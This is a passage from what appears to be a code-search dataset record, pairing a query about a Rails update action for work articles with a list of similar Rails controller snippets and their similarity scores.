@article.save\n format.html { redirect_to @article, notice: \"L'article a ete correctement cree\" }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def set_work_article\n @work_article = WorkArticle.find(params[:id])\n end", "def create\n @pages_article = PagesArticle.new(params[:pages_article])\n\n respond_to do |format|\n if @pages_article.save\n format.html { redirect_to @pages_article, notice: 'Pages article was successfully created.' }\n format.json { render json: @pages_article, status: :created, location: @pages_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pages_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to [:edit, @article], notice: 'Nouvel article créé.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def articles\n\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully created.' }}\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @work = Work.new(work_params)\r\n\r\n respond_to do |format|\r\n if @work.save\r\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\r\n format.json { render action: 'index', status: :created, location: @work }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: '記事の投稿が完了しました' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = current_user.articles.create(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article_datum = ArticleDatum.new(params[:article_datum])\n\n respond_to do |format|\n if @article_datum.save\n format.html { redirect_to @article_datum, notice: 'Article datum was successfully created.' }\n format.json { render json: @article_datum, status: :created, location: @article_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article_news = ArticleNew.new(article_news_params)\n\n respond_to do |format|\n if @article_news.save\n format.html { redirect_to @article_news, notice: \"Article new was successfully created.\" }\n format.json { render :show, status: :created, location: @article_news }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @blog_article = BlogArticle.new(blog_article_params)\n\n respond_to do |format|\n if @blog_article.save\n uri = URI.parse 'http://benjamin-watson-senior-seminar.superfeedr.com/'\n post_params = {\n 'hub.mode' => 'publish',\n 'hub.url' => 'https://benjamin-watson-push-src.herokuapp.com/feed.rss',\n }\n Net::HTTP.post_form uri, post_params\n\n format.html { redirect_to @blog_article, notice: 'Blog article was successfully created.' }\n format.json { render :show, status: :created, location: @blog_article }\n else\n format.html { render :new }\n format.json { render json: @blog_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def create\n @article = Article.new(article_params)\n response = RestClient.get 'http://scraper:3000/api/get', { params: { url: @article.url } }\n scraped_article = JSON.parse(response.body)\n @article.update({\n :title => scraped_article['title'],\n :byline => scraped_article['byline'],\n :excerpt => scraped_article['excerpt'],\n :content_html => scraped_article['content'],\n :readerable => scraped_article['readerable'],\n :scraped_at => DateTime.now\n })\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Članek je bil uspešno ustvarjen!' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n flash[:notice] = t('actions.create.success', Article.model_name.human) if @article.save\n respond_with(@article)\n end", "def create\n article = Article.create params['article']\n if article.invalid?\n render status: 400, inline: extract_first_error_message(article.errors.messages)\n else\n respond_with article\n end\n end", "def create\n @article = current_user.articles.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def art_work_params\n params.require(:art_work).permit(:title, :style, :description, :year, :wiki, :image_link)\n end", "def destroy\n @work_article.destroy\n respond_to do |format|\n format.html { redirect_to work_articles_url }\n format.json { head :no_content }\n end\n end", "def create\n # @article = Article.new\n # @article.title = params[:article][:title] # pull title from the request and insert into article object\n # @article.body = params[:article][:body] # pull body from the request and insert into article object\n \n @article = Article.new(article_params)\n \n @article.save\n\n flash.notice = \"Article '#{@article.title}' created!\"\n redirect_to article_path(@article)\n end", "def create\n @work.user_id = current_user.id\n\n respond_to do |format|\n if @work.save\n \n if current_user.roles[0].name != \"Administrador\"\n WorkMailer.new_work_alert(@work).deliver\n end\n \n format.html { redirect_to @work, :notice => 'Obra criada com sucesso!' }\n format.json { render :json => @work, :status => :created, :location => @work }\n else\n 1.times { @work.work_documents.build }\n load_cities_validate()\n format.html { render :action => \"new\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n artwork = Artwork.new(artwork_params)\n if artwork.save\n render json: artwork\n else\n render json: artwork.errors.full_messages, status: :unprocessable_entity\n end\n end", "def create\n @learn_article = LearnArticle.new(learn_article_params)\n\n respond_to do |format|\n if @learn_article.save\n format.html { redirect_to @learn_article, notice: 'Learn article was successfully created.' }\n format.json { render :show, status: :created, location: @learn_article }\n else\n format.html { render :new }\n format.json { render json: @learn_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n set_owners\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @article = Article.new(params[:article])\n @article = Article.new(:title => params[:article][:title], :body => params[:article][:body])\n\n @article = Article.new(params[:article])\n\n # @article.title = params[:article][:title]\n # @article.body = params[:article][:body]\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = current_user.articles.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish(work, publish_url)\n response = post(work, publish_url)\n { response: response, work: JSON.parse(response.body) }\n end", "def create\n @article = current_user.articles.build(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: '記事をを投稿しました。' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = current_user.articles.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:article])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Article was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article_topic = ArticleTopic.new(article_topic_params)\n\n respond_to do |format|\n if @article_topic.save\n format.html { redirect_to @article_topic, notice: 'Article topic was successfully created.' }\n format.json { render :show, status: :created, location: @article_topic }\n else\n format.html { render :new }\n format.json { render json: @article_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to action: :show, theme_slug: @article.theme.slug, question_slug: @article.question.slug, id: @article.id }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t@article = current_user.articles.new(params[:article]) \n#@article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n\tformat.html{ redirect_to(@article, \"article created successfully\")}\n#\tformat.html { redirect_to(@article, :notice => t('articles.create_success')) }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @work = Work.new\n\n respond_to do |format|\n format.json { render json: @work }\n end\n end", "def create\n respond_to do |format|\n if @tourism_article.save\n format.html { redirect_to @tourism_article, notice: 'Tourism article was successfully created.' }\n format.json { render json: @tourism_article, status: :created, location: @tourism_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tourism_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.work'))\n if @patron\n @patron.works << @work\n end\n format.html { redirect_to @work }\n format.json { render :json => @work, :status => :created, :location => @work }\n else\n prepare_options\n format.html { render :action => \"new\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@newEntry = Note.create(title: params[:title], entry: params[:entry], topic: params[:topic])\n\t\t@allNotes = Note.all\n\t\trender json: @allNotes\n\tend", "def create\n\t\t@work = Work.new(params[:work])\n\n\t\trespond_to do |format|\n\t\t\tif @work.save\n\t\t\t\tformat.html { redirect_to @work, notice: 'Work was successfully created.' }\n\t\t\t\tformat.json { render json: @work, status: :created, location: @work }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @work.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @article = Article.new(params[:article].except(:author_list))\n if @article.save\n @article.author_list = params[:article][:author_list]\n success = @article.save\n else\n success = false\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n logger.debug @article.errors.inspect\n end", "def create\n @article = Article.new(article_params)\n @article.author = current_user\n if @article.save\n render :show, status: :created\n else\n render json: { errors: @article.errors }, status: :unprocessable_entity\n end\n end" ]
[ "0.6688001", "0.6559612", "0.64289474", "0.6302313", "0.6291157", "0.62713116", "0.6265053", "0.6246627", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.62459236", "0.6245551", "0.62448055", "0.62448055", "0.62447286", "0.62447286", "0.62447286", "0.62447286", "0.62447286", "0.62447286", "0.62447286", "0.62447286", "0.62412137", "0.62360555", "0.6235055", "0.62265", "0.62240666", "0.62231344", "0.6202214", "0.6202214", "0.6197883", "0.6194365", "0.6184225", "0.6176427", "0.6156037", "0.61533475", "0.6152775", "0.6152775", "0.6141826", "0.6138513", "0.613676", "0.6127922", "0.6127922", "0.61156446", "0.61077505", "0.60971904", "0.6095843", "0.60830414", "0.6054638", "0.6049721", "0.60465825", "0.6044357", "0.60439146", "0.60410464", "0.6038455", "0.60344255", "0.60293263", "0.6021082", "0.60148066", "0.60093975", "0.6003849", "0.5994705", "0.5978441", "0.5969379", "0.5969365", "0.59633476", "0.5951406", "0.5949705", "0.5923918", "0.5908622", "0.59010226", "0.5894994", "0.5892996", "0.58917856", "0.5889911", "0.5887761", "0.5886671", "0.5870637", "0.5869266", "0.5868352", "0.58674526", "0.58578223", "0.5855811", "0.584602", "0.58432394", "0.58410764", "0.583648", "0.5826874", "0.5822464", "0.5808806", "0.5805095", "0.58037436" ]
0.7352004
0
PATCH/PUT /work_articles/1 PATCH/PUT /work_articles/1.json
def update respond_to do |format| if @work_article.update(work_article_params) format.html { redirect_to @work_article, notice: t('notifications_masc.success.resource.updated', resource: t('work_articles.form.resource')) } format.json { render :show, status: :ok, location: @work_article } else format.html { render :edit } format.json { render json: @work_article.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def UpdateArticle id,params = {}\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def update\n @article = article_get(params[:id])\n @article.update(params[:article])\n respond_with(@article)\n end", "def update\n@article=Article.find(params[:id])\n @article.title=params[:article][:title]\n@article.body=params[:article][:body]\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\nend", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to articles_path, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, :notice => 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to articles_public_url, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find_by_authentication_token(params[:auth_token])\n @newArticle = Article.new.from_json(params[:article])\n @oldArticle = Article.find(@newArticle.id)\n @author = Author.find_by_user_id_and_article_id(@user.id, @newArticle.id)\n if @author != nil\n @oldArticle.content = @newArticle.content\n @oldArticle.category = @newArticle.category\n @oldArticle.title = @newArticle.title\n respond_to do |format|\n if @oldArticle.save\n format.html { redirect_to @oldArticle, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oldArticle.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render json: \"error\" }\n format.json { render json: \"error\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @art_work.update(art_work_params)\n format.html { redirect_to @art_work, notice: 'Art work was successfully updated.' }\n format.json { render :show, status: :ok, location: @art_work }\n else\n format.html { render :edit }\n format.json { render json: @art_work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @art_work.update(art_work_params)\n format.html { redirect_to @art_work }\n format.json { render :show, status: :ok, location: @art_work }\n else\n format.html { render :edit }\n format.json { render json: @art_work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to [:edit, @article], notice: 'Article modifié.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n auth_privilege\n\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, :notice => 'Obra atualizada com sucesso!' }\n format.json { head :no_content }\n else\n 1.times { @work.work_documents.build }\n load_cities_validate()\n format.html { render :action => \"edit\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @myarticle.update(myarticle_params)\n format.html { redirect_to @myarticle, notice: 'Myarticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @myarticle }\n else\n format.html { render :edit }\n format.json { render json: @myarticle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task_article.update(task_article_params)\n format.html { redirect_to @task_article, notice: 'Task article was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_article }\n else\n format.html { render :edit }\n format.json { render json: @task_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n # increase edit by 1\n if @article.edit_count\n @article.edit_count = @article.edit_count + 1\n else\n @article.edit_count = 0\n end\n # save\n respond_to do |format|\n if @article.update_attributes(params[:article])\n #format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.html { redirect_to session[:edit_redirect], notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n flash[:success] = 'Article was successfully updated.';\n format.html { redirect_to dashboard_articles_url }\n format.json { render :article }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @backend_article.update(article_params)\n format.html { redirect_to @backend_article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @backend_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n if @clothing_article.update_attributes(params[:clothing_article])\n format.html { redirect_to @clothing_article, notice: 'Clothing article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clothing_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_article(id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = put(\"articles/#{id}\",options)\n if response['success']\n return response['results']['article']\n else\n return response\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params_for_update)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @artwork.update(art_work_params)\n format.html { redirect_to @artwork, notice: 'Art work was successfully updated.' }\n format.json { render :show, status: :ok, location: @artwork }\n else\n format.html { render :edit }\n format.json { render json: @artwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n #check_for_destroys\n \n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, 